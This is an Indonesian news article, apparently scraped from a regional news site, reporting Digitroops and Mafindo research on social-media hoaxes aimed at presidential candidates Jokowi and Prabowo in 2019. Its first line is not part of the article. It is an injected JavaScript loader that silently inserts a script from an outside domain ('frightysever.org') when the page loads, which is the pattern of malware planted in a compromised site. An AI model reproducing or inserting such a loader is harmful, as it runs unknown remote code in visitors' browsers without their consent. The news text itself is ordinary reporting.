(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Digitroops: Hoaks Medsos Lebih Banyak Serang Jokowi


Lembaga riset politik Digitroops menyebut berita bohong alias hoaks di media sosial lebih banyak merugikan calon presiden inkumben, yakni Joko Widodo alias Jokowi. Menurut mereka dari sepuluh berita hoaks, tujuh di antaranya merugikan Jokowi.

“Ketika di-breakdown data yang paling banyak terdampak oleh hoaks adalah petahana,” tutur peneliti Digitroops, Yusep M Sofyan.

Kata dia, tujuh hoaks terbesar yang menyerang Jokowi adalah: Jokowi dianggap sebagai PKI; Jokowi akan hilangkan adzan; Jokowi dianggap anti Islam; Jokowi legalkan pernikahan sejenis; surat suara tercoblos untuk Jokowi; Jokowi tawarkan Bogor ke China, ‘Jokowi membiarkan Indonesia dibanjiri tenaga kerja asing’.

Dari ketujuh berita tersebut tiga diantaranya merupakan hoaks yang paling banyak dilihat dan diakses. Isu yang paling banyak tersiar di media sosial saat ini adalah tentang ‘Jokowi dituding sebagai Partai Komunis Indonesia (PKI)’. Sebanyak 76.778.491 akun di media sosial telah terpapar berita bohong ini, dan sebanyak 173.110.667 kali diakses.

Kedua yakni hoaks soal ‘Jokowi akan hilangkan adzan’ dilihat oleh 52.428.745  akun, diakses 98.229.910 kali. Ketiga, ‘Jokowi dianggap anti Islam’, dilihat 25.000.002 akun, diakses 28.386.156 kali.

Hoaks soal Jokowi dan PKI kata Yusep merupakan isu yang selalu dibicarakan. Menurut hasil pantauan mereka, isu ini selama 24 jam selalu diakses di atas 2.000 kali. Sementara isu lain, rata-rata hanya mencapai angka 1.000 kali diakses.

Survei ini mengkonfirmasi isu hoaks yang berkembang di media sosial selama kurun waktu Agustus 2018 – Maret 2019. Riset dilakukan dengan survei tatap muka, Focus Group Discussion, analisis media, dan wawancara mendalam.

Hasil riset Digitroops ini berbeda dengan perolehan Masyarakat Anti Fitnah Indonesia (Mafindo) yang dirilis pertengahan Maret lalu. Menurut Mafindo Prabowo lebih banyak terpapar hoaks ketimbang Jokowi. Namun waktu pengambilan sampel memang tak sama. Mafindo melakukan riset pada bulan Januari 2019.

Ketua Komite Penelitian dan Pengembangan Mafindo, Santi Indra Astuti, mengatakan berdasarkan temuan lembaganya sebanyak 21 hoaks menyerang Prabowo, dan 19 menyasar Joko Widodo atau Jokowi.

Santi menuturkan hoaks politik bisa mengambil isu apa saja. Selain dinamika politik, hoaks politik turut menggunakan isu agama, etnis, bahkan kesehatan. Di bulan ini, menurut Mafindo, hoaks yang menggunakan isu dinamika politik sebanyak 28 buah sementara yang memakai konten agama sejumlah 17 buah. Kedua calon presiden sama-sama menjadi korban. (tmp)

Reporter : Tmp
Editor : Kk

Desy Arfianty

Recent Posts

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

49 menit ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

1 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

2 jam ago

Serahkan Eco Office Eco School Award 2024, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Bentuk apresiasi menjaga kelestarian lingkungan, kebersihan, dan pengelolaan sampah yang baik, Pemerintah… Read More

2 jam ago

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

15 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

15 jam ago

This website uses cookies.